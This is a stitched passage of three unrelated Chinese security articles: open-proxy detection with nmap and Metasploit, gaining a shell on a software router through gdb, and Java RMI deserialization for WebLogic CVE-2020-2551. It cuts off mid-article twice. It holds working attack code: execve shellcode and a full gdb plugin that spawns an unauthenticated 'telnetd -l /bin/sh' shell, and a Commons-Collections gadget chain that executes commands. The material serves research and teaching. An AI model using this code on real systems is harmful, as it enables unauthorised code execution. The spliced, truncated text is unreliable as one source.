禁用不安全的HTTP方法，基本原则是只允许开启GET和POST方法。特别地，要禁用CONNECT方法。
重启服务器，策略生效
当然这样解决的操作基本上只能作为临时修复办法，因为通过这种方式是通过设置403
Forbidden来禁止转发第三方域名的请求，只能解决恶意代理攻击，但是无法有效解决服务器负载过高的问题，因为请求最终还是会发送到服务器上，服务器还是要对其做相关处理。
所以终极解决办法就是：
你有WAF，你为什么不用WAF呢？或者F5也行啊。
# 攻击测试
经过全方面的测试，有如下5种测试，现在对这5种方法做简单分析。其中主要是对nmap的nse脚本和msf的rb脚本做了代码分析，其实都是简单的socket代码，主要是想锻炼一下代码溯源的能力，以及理清两个渗透杀器nmap和msf的主体代码结构和调用体系。
1、 nmap的脚本测试（分析以Windows环境为例）；
我们先分析一下http代理测试，该测试使用的脚本为http-open-proxy，该脚本位于nmap的scripts目录下，名称为http-open-proxy.nse
我们打开这个nse文件看一下代码里这个nmap脚本到底是怎么使用以及怎么实现测试的。
从简单的description中我们可以看到这个脚本就是用来测试HTTP代理是否打开，但是注意去看详细描述会发现，该脚本是以测试通过http代理是否能够访问google，响应码不限于200,301和302的形式来判断的。国内的朋友用起来就会有一些小麻烦了。不过仔细研读一下以下的代码，发现其实它不仅以google为测试url，同时作为测试url的还有wikipedia和computerhistory的官网。可惜，国内访问要不就是访问不了要不就是速度很慢。
但是nmap考虑到了这一点，在@usage中，我们看到他贴心地为我们加上了除了基本的nse使用方法，也就是—script http-open-proxy以外，在2009-05-14的版本更新中Joao Correa为我们添加了自定义proxy.url的参数方案。
所以在全局代码中我们看到了两个基本的function，一个是custom_test()，一个是default_test()。从参数获取我们可以看到custom_test()要求提供host，port，test_url，pattern，而default_test()要求提供host和port即可，完全符合usage中的描述。
由于基本测试形式一样，唯一不同点就是default_test()方法中固定了url和pattern参数为默认值。所以我们这里仅仅分析一下custom_test()的方法实现即可。
首先定义两个最后需要用来反馈给用户的return值，lstatus和response，初始化lstatus为false，最后只要存在http
proxy打开，赋值为true。接着就是初始化各个入口参数，hostname，port，test_url之类的，这里还对test_url传入的用户输入值做了处理，如果用户输入没有加上<http://，会自动为该参数加上协议头。然后开始执行程序主体，调用proxy的属性方法，分别用get代理请求方法、head代理测试方法和connect通道代理方法来进行测试，以repsonse的响应码判断是否有效。>
由于三种方法的区别仅仅在于使用的HTTP方法不同，这里就仅以test_get()方法为示例进行分析。我们追溯一下test_get()方法，由于其是属于proxy的属性方法，进入proxy的定义中去找一下，定位到proxy.lua找到test_get()方法。
这边首先通过connectProxy()方法进行连接，我们通过定位到connectProxy()方法，发现其实就是简单的socket连接，并且这里的socket连接是通过proxyType的指定来进行不同类型的连接，回归到custom_test()发现三种测试方法都指定proxyType为“http”类型，所以这里就不用sock4和sock5的测试方法来进行测试。回过来看测试方法，也就是构造一个简单的request发送请求，读取器response的响应码即可判断。其实说到底就是建立一个带porxy参数的socket进程。
可以看到与它的名字相符，这只是一个http代理测试的脚本，同样既然这边定义了socks代理连接，那肯定有socks代理的测试脚本，没错，就是socks-open-proxy。
socks-open-proxy的基本方法也是和http-open-proxy一样，同样也是custom_test()方法和default_test()方法，所以也是可以自定义测试url的。跟之前分析的一样，唯一区别也就是在于proxyType的不同，这边是使用socks4和socks5两种类型。
所以使用nmap做测试的总结方法就是如下一条命令：
nmap 192.168.1.1 --script http-open-proxy socks-open-proxy --script-args
proxy.url=www.baidu.com
2、 msfconsole的auxiliary/scanner/http/open_proxy模块
先看一下msf接口的简单description：HTTP Open Proxy Detection，基本与nmap的脚本功能出发点是一样的。
先调用一下这个模块看一下有哪些options是属于用户输入范畴的。
可以看到msf的模块也支持自定义checkurl，并且提供自定义测试标记，即响应码和匹配模式，并且还支持是否验证CONNECT通道代理方法。所以可以发现从用户自定义角度来说，msf相对nmap会更加人性化。不过基本上也是和nmap有异曲同工之妙，为什么这么说，因为，emmm……
然后对模块的方法实现进行一个分析，首先是一个初始化方法，其实就是默认值的赋值，和刚刚在options选项中看到的基本一样。
第二个方法是run_host()，这个方法就是自定义用户输入的内容。直接看一下执行主体的verify_target()方法，脚本里写的代码很简单。就是调用了send_request_cgi()方法获取到response，然后对response处理分析来判断是否存在proxy打开的情况。判断一共分3中，没有response判断没有proxy情况，判断普通http代理就通过判断响应码或者响应数据中的匹配模式，而判断CONNECT通道代理就是只判断响应码是否符合。
其实重点在于这个send_request_cgi()方法，定位一下这个方法地址，先看一下全局include，可以确定为include
Msf::Exploit::Remote::HttpClient，找到这个方法的实现脚本地址为/opt/metasploit-framework/embedded/framework/lib/msf/core/exploit/http/client.rb，其实如果看不懂的话可以用grep一键找。
理一下send_request_cgi()方法主体，执行方法主要是下面这一段，所以接下来要定位一下connect()方法，来弄清楚request_cgi的具体执行参数的表达含义。
connect()方法首先会判断一下ssl协议，然后开始连接http
server，可以看到这边的参数opt其实就是制定远程主机rhost的值，实际上就是check_url传入的值。
追踪到/opt/metasploit-framework/embedded/framework/lib/rex/proto/http/client.rb的request_cgi()方法，其实也就是基本的定义参数，然后进行client客户端去连接。
这个client.rb的整体的代码结构和之前的有点类似，只不过更加细化，在initialize()方法中可以看到读取了connect()方法中传入的8个参数值。这边其实分析到底也是一层socket连接，赋予其proxy的参数。所以理论上都是和nmap是类似的。
3、 花刺代理工具测试；
工具是傻瓜工具，一看就知道怎么用，不再赘述，值得说的是该工具需使用管理员身份打开。
4、 在线代理有效性测试；
经过一些测试，该测试站点测试效果很好。
<http://web.chacuo.net/netproxycheck>
5、上线前白盒分析（基线审核）httpd.conf相关安全配置文件 | 社区文章 |
**作者：Hcamael@知道创宇404实验室
时间：2021年8月6日 **
最近在研究某款软路由，能在其官网下载到其软路由的ISO镜像，镜像解压可以获取到rootfs，但是该rootfs无法解压出来文件系统，怀疑是经过了某种加密。
把软路由器安装到PVE上，启动后也无法获取到Linux
Shell的权限，只能看到该路由厂商自行开发的一个路由器Console界面。可以开启telnet/ssh，可以设置其密码，但是连接后同样是Console界面。
这种情况下对该软路由进行黑盒研究，难度非常大，是为下策，不是无可奈何的情况下不考虑该方案。
所以要先研究该怎样获取到该路由的文件系统，首先想到的方法是去逆向vmlinux，既然在不联网的情况下能正常跑起来这个软路由，说明本地肯定具备正常解密的所有条件，缺的只是其加密方法和rootfs格式。在通常情况下处理解密的代码位于vmlinux，所以只要能逆向出rootfs的加解密逻辑，就可以在本地自行解压该文件系统了。
该思路的难度不大，但是工作量非常大，是为中策，作为备选方案。
因为该软路由是被安装在PVE上，使用kvm启动，所以可以使用gdb对其内核进行调试，也可以通过gdb修改程序内存和寄存器的值。从而达到任意命令执行的目的，获取Linux
Shell。
# 使用GDB调试软路由
在PVE界面的`Monitor`选项中输入`gdbserver`，默认情况下即可开启gdbserver，监听服务器的1234端口。
获取vmlinux：`extract-vmlinux boot/vmlinuz > /tmp/vmlinux`。
gdb进行调试：`gdb /tmp/vmlinux`。
然后挂上远程的gdbserver：`target remote x.x.x.x:1234`。
大多数情况下，断下来的地址都是为`0xFFFFFFFFxxxxxxxx`，该地址为内核地址，然后在gdb界面输入`continue`，让其继续运行。
想要获取Linux Shell，那么就需要执行一句获取Shell的shellcode，但是不管是执行反连shell还是bind
shell的shellcode都太长了。为了缩减shellcode的长度，可以让shellcode执行一句`execve("/bin/sh",
["/bin/sh","-c","/usr/sbin/telnetd -l /bin/sh -p xxxxx"],
0)`命令（当然已经确定了存在`telnetd`，和其路径）。
下面为上述shellcode的大致代码(测试的目标为x86_64系统)：
0x00: /bin/sh\x00
0x08: -c\x00
0x10: cmd
0x100: 0x00
0x108: 0x08
0x110: 0x10
0x118: 0
mov rdi, 0x00
mov rsi, 0x100
xor rdx, rdx
xor rax, rax
mov al, 59
syscall
不过因为使用的是gdb，可以对程序内存寄存器进行修改，所以不需要这么长的shellcode，只需要执行下面的命令：
set *0x00=xxxx
set *0x04=xxxx
......
set $rdi=0x00
set $rsi=0x100
set $rdx=0
set $rax=59
set *((int *)$rip)=0x050F(syscall)
这里建议只对用户态代码进行修改，如果直接改内核态的代码，容易让系统崩溃。
接下来的步骤就是如何进入用户态，首先需要增加软路由的负载，可以访问一下路由器的Web服务，或者执行一些会长时间运行的程序（比如`ping`），然后按`ctrl+c`，中断程序运行，重复N次，如果不是运气不好的情况下，会很快断在一个地址开头不是`0xffffffff`的地址，这就是用户态程序的地址空间了。
接下来可以往栈、数据段内存写入我们要执行的命令，然后修改寄存器，修改当前`pc`值为`syscall`指令，再输入`contiune`，系统就会运行你想执行的命令了。
理论上该思路没啥问题，但是在实际测试的过程中发现了一些小问题。
在测试过程中，程序中断的用户态代码是`/bin/bash`的程序段，或者是`libc`的程序段，当修改代码段的代码时，不会像平常调试普通程序那样，修改的只是映射的内存代码，当程序退出后，修改的代码随同映射的内存一起释放了。当一个新的`bash`程序运行时，内存重新进行了映射，所以使用gdb修改当前程序的上下文，并不会影响到之后运行的程序。但是在调试内核的时候，进入用户态后，访问到的是该程序的真正内存区域，代码一经修改，除非系统重启，不然每次运行相同的程序，都将会运行修改后的代码。
所以按照上述理论修改了`/bin/bash`代码段的指令，执行了`/bin/sh -c "/usr/sbin/telnetd -l
/bin/bash"`命令之后，`bash`这个程序实际的代码已经被破坏了，所以在该命令成功开启了`telnet`服务后，每当有用户连接这个`telnet`服务，根据`bash`程序代码被破坏的程度，程序将会有不同的异常（运气好，破坏的代码不重要，则不会影响到后续使用。运气不好，破坏的代码很重要，则可能无法再运行`bash`程序）。
比如下面这个测试案例：
? ~ telnet 10.11.33.115 33333
Trying 10.11.33.115...
Connected to 10.11.33.115.
Escape character is '^]'.
bash-4.4# id
Connection closed by foreign host.
用户能成功连接到`telnet`服务，服务的banner正常显示，但是当执行`id`命令时，`telnet`服务却断开了连接，按照上述的分析，猜测是`bash`程序被修改的代码段位于`bash`程序处理用户输入的命令的函数中，所以当用户想执行`id`命令时，程序将会奔溃，导致`telnet`服务断开连接。
如果修改的代码位于`libc`的程序段，那将会造成更严重的后果，不仅是`telnet`服务甚至是操作系统的其他服务，运行到该`libc`的代码时，都会崩溃导致程序异常。
因为上述的原因，所以应该稍微修改一下思路，经过多次测试，发现最稳定，最不容易影响系统正常运行的思路如下：
1. 在代码段搜索`syscall`指令，比如：`find /h upaddr,lowaddr,0x050F`。
2. 然后把pc修改到该地址，`set $pc=0xAAAAAA`。
PS: 如果不修改指令，按原来的思路做，只需要把命令改成`telnetd -l
/bin/sh`，用户连接到`telnetd`服务，执行命令时，将不会出现异常导致连接断开。不过这种方法治标不治本，只作为应急使用。
# 一键操作
准备写个gdb插件，一句指令完成我上述的流程。
选择开发一个gef的插件，在开发前收集了一些资料。
首先是参数寄存器：
arch/ABI arg1 arg2 arg3 arg4 arg5 arg6 arg7 Notes
──────────────────────────────────────────────────────────────────
arm/OABI a1 a2 a3 a4 v1 v2 v3
arm/EABI r0 r1 r2 r3 r4 r5 r6
arm64 x0 x1 x2 x3 x4 x5 - blackfin R0 R1 R2 R3 R4 R5 - i386 ebx ecx edx esi edi ebp - ia64 out0 out1 out2 out3 out4 out5 - mips/o32 a0 a1 a2 a3 - - - See below
mips/n32,64 a0 a1 a2 a3 a4 a5 - parisc r26 r25 r24 r23 r22 r21 - s390 r2 r3 r4 r5 r6 r7 - s390x r2 r3 r4 r5 r6 r7 - sparc/32 o0 o1 o2 o3 o4 o5 - sparc/64 o0 o1 o2 o3 o4 o5 - x86_64 rdi rsi rdx r10 r8 r9 - x32 rdi rsi rdx r10 r8 r9 -
然后是系统调用指令：
arm/OABI swi NR - a1 NR is syscall #
arm/EABI swi 0x0 r7 r0
arm64 svc #0 x8 x0
blackfin excpt 0x0 P0 R0
i386 int $0x80 eax eax. 0x80CD
ia64 break 0x100000 r15 r8 See below
mips syscall v0 v0 See below
parisc ble 0x100(%sr2, %r0) r20 r28
s390 svc 0 r1 r2 See below
s390x svc 0 r1 r2 See below
sparc/32 t 0x10 g1 o0
sparc/64 t 0x6d g1 o0
x86_64 syscall rax rax See below 0x050F
x32 syscall rax rax See below
然后收集了一些架构`execve`的系统调用号：
execve:
arm64/h8300/hexagon/ia64/m68k/nds32/nios2/openrisc/riscv32/riscv64/c6x/tile/tile64/unicore32/score/metag: 221
arm/i386/powerpc64/powerpc/s390x/s390/arc/csky/parisc/sh/xtensa/avr32/blackfin/cris/frv/sh64/mn10300/m32r: 11
armoabi: 9437195
x86_64/alpha/sparc/sparc64: 59
x32: 1073742344
mips64: 5057
mips64n32: 6057
mipso32: 4011
microblaze: 1033
xtensa: 117
最后得到如下所示的代码：
@register_command
class ExecveCommand(GenericCommand):
"""use execve do anything cmd"""
_cmdline_ = "execve"
_syntax_ = "{:s} [cmd]|set addr [address]".format(_cmdline_)
_example_ = "{:s} /usr/sbin/telnetd -l /bin/bash -p 23333\n{:s} set addr 0x7fb4360748ae".format(_cmdline_)
_aliases_ = ["exec",]
def __init__(self):
super().__init__(complete=gdb.COMPLETE_FILENAME)
self.findAddr = None
return
@only_if_gdb_running
def do_invoke(self, argv):
'''
mips/arm todo
'''
if len(argv) > 0:
if argv[0] == "debug":
# debug = 1
dofunc = print
argv = argv[1:]
elif argv[0] == "set":
if argv[1] == "addr":
self.findAddr = int(argv[2], 16)
info("set success")
return
else:
# debug = 0
dofunc = gdb.execute
else:
err("The lack of argv.")
return
cmd = " ".join(argv)
cmd = [b"/bin/sh", b"-c", cmd.encode()]
# print(current_arch.sp)
# print(current_arch.pc)
# print(current_arch.ptrsize)
# print(endian_str())
# print(current_arch.syscall_instructions)
# print(current_arch.syscall_register)
# print(current_arch.special_registers)
# print(current_arch.function_parameters)
# print(current_arch.arch)
# print(current_arch.get_ith_parameter)
# print(current_arch.gpr_registers)
# print(current_arch.get_ra)
# write_memory
try:
rsp = current_arch.sp
nowpc = self.findAddr or current_arch.pc
except gdb.error as e:
err("%s Please start first."%e)
return
bit = current_arch.ptrsize
if current_arch.arch == "X86":
arg0 = "$rdi" if bit == 8 else "$ebx"
arg1 = "$rsi" if bit == 8 else "$ecx"
arg2 = "$rdx" if bit == 8 else "$edx"
sysreg = current_arch.syscall_register
sysreg_value = 59 if bit == 8 else 11
syscall_instr = 0x050F if bit == 8 else 0x80CD
else:
err("%s can't implementation." % current_arch.arch)
return
spc = nowpc & (~0xFFF)
res = gdb.execute("find /h %s,%s,%s"%(spc, spc+0x10000, syscall_instr), to_string=True)
if "patterns found." not in res:
err("can't find syscall. Please break in libc.")
return
newpc = res.splitlines()[0]
endian_symbol = endian_str()
endian = "little" if endian_symbol == "<" else "big"
startaddr = rsp + 0x100
args_list = []
# cmd write to stack
for cstr in cmd:
args_list.append(startaddr)
cstr += b"\x00" * (4 - (len(cstr) % 4))
length = len(cstr)
write_memory(startaddr, cstr, length)
startaddr += length
# for i in range(0, len(cstr), 4):
# t = hex(struct.unpack(endian_symbol+'I', cstr[i:i+4])[0])
# dofunc("set *(%s)=%s"%(hex(startaddr), t))
# startaddr += 4
args_list.append(0)
# set cmd point (rsi)
rsiAddr = rsp + 0x50
endian = "little" if endian_str() == "<" else "big"
addrvalue = b""
for addr in args_list:
addrvalue += addr.to_bytes(bit, endian)
write_memory(rsiAddr, addrvalue, len(addrvalue))
# for i in range(0, len(addr), 4):
# t = hex(struct.unpack(endian_symbol+'I', addr[i:i+4])[0])
# dofunc("set *(%s+%d)=%s"%(hex(rsiAddr), i, t))
# rsiAddr += bit
# set first arguments.
dofunc("set %s=%s"%(arg0, hex(args_list[0])))
# set second arguments
dofunc("set %s=%s"%(arg1, hex(rsp + 0x50)))
# set third arguments
dofunc("set %s=0"%arg2)
# set syscall register
dofunc("set %s=%s"%(sysreg, sysreg_value))
# set $pc=$sp
dofunc("set $pc=%s"%newpc)
# set *$pc
# dofunc("set *(int *)$pc=%s"%hex(syscall_instr))
# show context
# dofunc("context")
# continue
dofunc("c")
return
# 总结
来实际试一试：
* * * | 社区文章 |
最近遇到的实际环境为weblogic，所以这里顺便总结下测 **2020-2551** 的一些相关的点
2551也是学习了很多优秀的师傅文章，非常感谢， **个人水平较差、文中错误内容还请师傅们指教纠正。**
# 0X00 漏洞利用基础学习
从0开始学习复现这个洞不免又会设计到Java反序列化漏洞中那些老生常谈的名词理解，涉及到Java反序列化中的一些协议、行为、结构，但个人文中偏向于结果导向，对于涉及的上述名词解释不会过多官方解释，
直接说上自己认为最简单的理解，如有偏差望师傅们谅解。
## COBAR
**(Common ObjectRequest Broker Architecture)公共对象请求代理体系结构**
，名字很长，定义的一个结构(规定语言在使用这个结构时候分哪几个部分，因为我们后面的序列化过程都是按照这个结构来的)
这个结构当然是抽象的，后面在具体代码实现上才会呈现这个结构部分，所以这里理解三个部分互相大致的关系就好。
CORBA结构分为三部分：
* naming service
* client side
* servant side
三个部分之间的关系就好比人看书， **naming service** 担任着书中目录的角色，人( **client side** )从目录(
**naming service** )中找具体内容( **servant side** )。
## stub(存根)和skeleton(骨架)
简单三个部分说了，但是实际这个结构中稍微复杂一些，client和servant之间的交流还必须引入一个 **stub(存根)** 和
**skeleton(骨架)** ,简单理解就是 **client** 和 **servant** 之间多了两个人替他们传话， **stub** 给
**client**
传话，skeleton给servant传话，说白了也就是充当client和servant的"网关路由"的一个功能。具体存根和骨架干了啥，师傅可以去看下RMI通信过程原理。
## GIOP && IIOP
全称通用对象请求协议，试想一个下客户端和服务端之间交流肯定要遵循某种协议的，这里 **GIOP** 就是 **CORBA**
中通信过程遵循的协议而在TCP/IP这层用到的协议，就是我们2551中的 **IIOP协议**
## JNDI
**JNDI (Java Naming and Directory Interface)**
全称是java名词目录接口，其实可以发现这里JNDI就是前面CORBA体系中那个naming service的角色，在Java中它有着 **Naming
Service** 和 **Directory Service** 的功能，说白了就是给 **servant** 那边在目录中注册绑定，给
**client** 那边在目录中查询内容。
## LDAP
**LDAP（Lightweight Directory Access Protocol**
，轻型目录访问协议）是一种目录服务协议，这个在后面测试中也常会看到LDAP服务和RMI服务起的接收端，LDAP主要充当目录服务的协议，用来保存一些属性信息的，但要和RMI区别开来，LDAP是用于对一个存在的目录数据库进行访问，而RMI提供访问远程对象和调用
## RMI
**Remote Method Invocation,远程方法调用**
，如果了解RPC服务的功能朋友一定不难理解，就是Java中的一个RPC服务实现，底层的协议是JRMP协议，功能也好理解，让你可以远程调用对象就像在本地调用一样，你可以参照点外卖，把外卖(对象)叫到你家里(本地客户)使用。
## JRMP
**Java远程方法协议（英语：Java Remote Method Protocol，JRMP）** Java远程方法协议
JRMP是一个协议，是用于Java RMI过程中的协议，只有使用这个协议，方法调用双方才能正常的进行数据交流。
# RMI反序列化原理：
**RMI即Java RMI（Java Remote Method Invocation）**
，Java远程方法调用，说白了就是实现让你可以远程调用服务器上对象的一种接口。(例如不同JVM虚拟机之间的Java对象相互调用)。
客户端和服务端在调用对象时候互相都有个代理，客户端的代理叫 **Stub(存根)** ，服务端的代理叫 **Skeleton(骨架)**
，代理都是从服务端产生的。
在RMI中客户端和服务端通过代理传入远程对象时候客户端负责编码，服务器负责解码，而这个过程中我们的对象是 使用 **序列化** 操作进行编码的。
在 **RMI模式(或行为)** 中，说简单点我们只需要关注三个部分
* 客户端(使用远程对象)
* 服务端(提供远程对象给客户端使用
* Registry(用来提供注册对象的地方)
下面的RMI简单Demo中也可以比较简易体现出三者之间的关系和功能的分工。
## RMI简单Demo(以客户端调用服务端远程对象为例子):
在RMI模式中，我们除了需要客户端和服务端两个类，还需要在服务端中创建注册表(Registry)并绑定实现远程接口的对象，所以我们一共要写四个部分代码，
1. 客户端的类
2. 服务端的类
3. 继承Remote的接口
4. 以及对实现远程接口的具体类
### 定义远程接口
这里使用到了java.rmi,其中定义了客户端所需要的类、接口、异常，实现rmi的远程对象必须继承Remote接口，并且接口中的方法必须抛出RemoteException:
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface InterfaceQing extends Remote{
// 所有方法必须抛出RemoteException
public String RmiDemo() throws RemoteException;
}
### 接口实现类
以及对于上面InterfaceQing这个远程接口的实现类：
这里单独说一下， 继承 **UnicastRemoteObject** 类的对象叫做远程对象， **lookup**
出来的对象只是该远程对象的存根(Stub)对象，客户端每一次的方法调用都是调用的的那一个远程对象的方法
没有继承 **UnicastRemoteObject** 类的对象，同样可以 **bind** 到 **Registry，lookup**
出来了对象也是远程对象，但在经过序列化、客户端反序列化出来的新的对象后调用这个对象的方法调用与远程对象再无关系
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import Remote.InterfaceQing;
public class RemoteQing extends UnicastRemoteObject implements InterfaceQing {
protected RemoteQing() throws RemoteException{
super();
}
@Override
public String RmiDemo() throws RemoteException {
System.out.println("RmiDemo..");
return "Here is RmiDemo";
}
}
### 服务端类
这里需要注册远程对象，用到 **java.rmi.registry** 中的供注册创建的类，注册远程对象,向客户端提供远程对象服务。客户端就可以通过
**RMI Registry** 请求到该远程服务对象的 **stub** ，
在服务端类中我们实例化了实现远程接口的类并创建了Registry注册类，使用Registry类的bind函数将远程接口的实现对象绑定到注册表，取名为
**remoteQing** ，这里服务会监听默认 **1099** 端口。
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import Remote.InterfaceQing;
public class ServerDemo {
public static void main(String[] args) {
try {
InterfaceQing remoteQing = new RemoteQing();
LocateRegistry.createRegistry(1099);
Registry registry = LocateRegistry.getRegistry();
registry.bind("Test", remoteQing);
System.out.println("Server is ok");
//UnicastRemoteObject.unexportObject(remoteMath, false); 设置对象不可被调用
//当然也可以通过java.rmi.Naming以键值对的形式来将服务命名进行绑定
} catch (Exception e) {
e.printStackTrace();
}
}
}
### 客户端
通过 **Registry** 类的代理去查询远程注册的对象，获得绑定的对象并调用该对象的方法，例子中为注册表中绑定名为Test的对象
**(RemoteQing)** :
import Remote.InterfaceQing;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class ClientDemo {
public static void main(String[] args) {
try {
Registry registry = LocateRegistry.getRegistry("localhost");
// 从Registry中检索远程对象的存根/代理
InterfaceQing remoteQing = (InterfaceQing)registry.lookup("Test");
String returnStr = remoteQing.RmiDemo();
System.out.println(returnStr);
}catch(Exception e) {
e.printStackTrace();
}
}
}
注:java1.4之前需要rmic命令生成我们远程对象实现类的Stub，也就是上面的RemoteQing
## RMI中调用过程:
这里简单走一下过程，贴下比较需要关注的地方。
首先是服务端:
服务端中 **createRegistry(1099);** 的时候，返回的 **registry** 对象类是
**sun.rmi.registry.RegistryImpl**
RegistryImpl中会设置接口实现类的ref变量，类型为 **sun.rmi.server.UnicastServerRef** ，其中含有
**LiveRef** 类型的对象变量ref与TCPEndpoint的ep变量
接下来服务端getRegistry返回的是 **sun.rmi.registry.RegistryImpl_Stub** ，也就是前面大致流程中的stub
服务端bind的时候，会进入序列化操作
public void bind(String var1, Remote var2) throws AccessException, AlreadyBoundException, RemoteException {
try {
RemoteCall var3 = this.ref.newCall(this, operations, 0, 4905912898345647071L);
try {
ObjectOutput var4 = var3.getOutputStream();
var4.writeObject(var1);
var4.writeObject(var2);
} catch (IOException var5) {
throw new MarshalException("error marshalling arguments", var5);
}
this.ref.invoke(var3);
this.ref.done(var3);
} catch (RuntimeException var6) {
throw var6;
} catch (RemoteException var7) {
throw var7;
} catch (AlreadyBoundException var8) {
throw var8;
} catch (Exception var9) {
throw new UnexpectedException("undeclared checked exception", var9);
}
}
客户端这边
可以看到getRegistry的时候和服务端一样动态生成 **sun.rmi.registry.RegistryImpl_Stub**
**lookup** 的时候就会从 **RMI Registry** 获取到服务端存进去的stub。
在 **sun.rmi.registry.RegistryImpl_Stub**
类中实现用将Remote对象序列化传递给RemoteRef引用并且创建了RemoteCall(远程调用)对象
RemoteCall对象则是用来序列化我们传递的服务名和Remote对象并最后通过socket通信:
## RMI反序列化漏洞攻击原理
RMI攻击本质是简单点说是客户端和服务端会互相将传递的数据进行正反序列化，在这个过程中参数的序列化被替换成恶意序列化数据就即可以攻击服务端也可以攻击客户端。我们下断点来查看:
要进jdk源码调试前设置一下:
首先是bind的时候会在 **sun.rmi.registry.RegistryImpl_Stub#bind** 对数据进行序列化:
处理数据的时候会在 **sun.rmi.registry.RegistryImpl_Skel#dispatch** 进行反序列化读取
调用栈:
dispatch:-1, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:411, UnicastServerRef (sun.rmi.server)
dispatch:272, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:568, TCPTransport (sun.rmi.transport.tcp)
run0:826, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$0:683, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 1831737466 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$1)
doPrivileged:-1, AccessController (java.security)
run:682, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:745, Thread (java.lang)
那我们再来看客户端进行调用对象的时候:
在 **sun.rmi.registry.RegistryImpl_Stub#lookup**
其中在 **var3.writeObject(var1)** 对var1对象进行了序列化操作，在 **var23 =
(Remote)var6.readObject()** 对服务端返回的数据的对象进行反序列化
public Remote lookup(String var1) throws AccessException, NotBoundException, RemoteException {
try {
RemoteCall var2 = super.ref.newCall(this, operations, 2, 4905912898345647071L);
try {
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(var1);
} catch (IOException var18) {
throw new MarshalException("error marshalling arguments", var18);
}
super.ref.invoke(var2);
Remote var23;
try {
ObjectInput var6 = var2.getInputStream();
var23 = (Remote)var6.readObject();
} catch (IOException var15) {
....
攻击就需要利用客户端服务端都存在某一缺陷库来构造gadgets
本身缺陷原因各位可以去看下CVE-2017-3241
<https://packetstormsecurity.com/files/download/141104/cve-2017-3241.pdf>
## RMI反序列化漏洞攻击Demo
### (apache Common Collection 3)
<https://mvnrepository.com/artifact/commons-collections/commons-collections/3.1>
来看下大致利用原理:
这里利用到的函数是
**org.apache.commons.collections.functors.InvokerTransformer#transform**
通过反射执行参数对象中的某个方法
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var4) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var6);
}
}
}
其中transform用到的属性来自构造函数，分别对应方法名、参数类型、参数值。
private InvokerTransformer(String methodName) {
this.iMethodName = methodName;
this.iParamTypes = null;
this.iArgs = null;
}
而InvokerTransformer中返回实例化的函数如下:
public static Transformer getInstance(String methodName) {
if (methodName == null) {
throw new IllegalArgumentException("The method to invoke must not be null");
} else {
return new InvokerTransformer(methodName);
}
}
public static Transformer getInstance(String methodName, Class[] paramTypes, Object[] args) {
if (methodName == null) {
throw new IllegalArgumentException("The method to invoke must not be null");
} else if (paramTypes == null && args != null || paramTypes != null && args == null || paramTypes != null && args != null && paramTypes.length != args.length) {
throw new IllegalArgumentException("The parameter types must match the arguments");
} else if (paramTypes != null && paramTypes.length != 0) {
paramTypes = (Class[])((Class[])paramTypes.clone());
args = (Object[])((Object[])args.clone());
return new InvokerTransformer(methodName, paramTypes, args);
} else {
return new InvokerTransformer(methodName);
}
}
而 **InvokerTransformer** 的 **transform** 方法被谁谁调用呢，在同包下的
**org.apache.commons.collections.functors.ChainedTransformer** 可以对
Transformer数组进行组合。
只需要 **Transformer chain = new ChainedTransformer(transformers);** 即可组合，
在org.apache.commons.collections.map.TransformedMap中checkSetValue函数调用了transform方法
protected Object checkSetValue(Object value) {
return this.valueTransformer.transform(value);
}
而在org.apache.commons.collections.map.AbstractInputCheckedMapDecorator的setValue会调用父类的
**checkSetValue**
public Object setValue(Object value) {
value = this.parent.checkSetValue(value);
return this.entry.setValue(value);
}
}
并且 **TansformedMap** 里用装饰者模式通过 **transformer** 来扩展功能
TransformedMap实现了Serializable接口可以被序列化操作 ，其中结构里也包含了 **map**
public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable {
...
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
...
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
this.map = (Map)in.readObject();
}
* * *
所以到这里可以理一下利用链接
**TransformedMap** 添加一个装饰 **ChainedTransformer** ， **ChainedTransformer** 将多个
**InvokerTransformer** 组合， **InvokerTransformer** 来反射执行其他函数(RCE)
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.Map;
import java.util.HashMap;
public class TransformVul {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"calc"})
};
Transformer chain = new ChainedTransformer(transformers) ;
Map innerMap = new HashMap() ;
innerMap.put("name", "hello") ;
Map outerMap = TransformedMap.decorate(innerMap, null, chain) ;
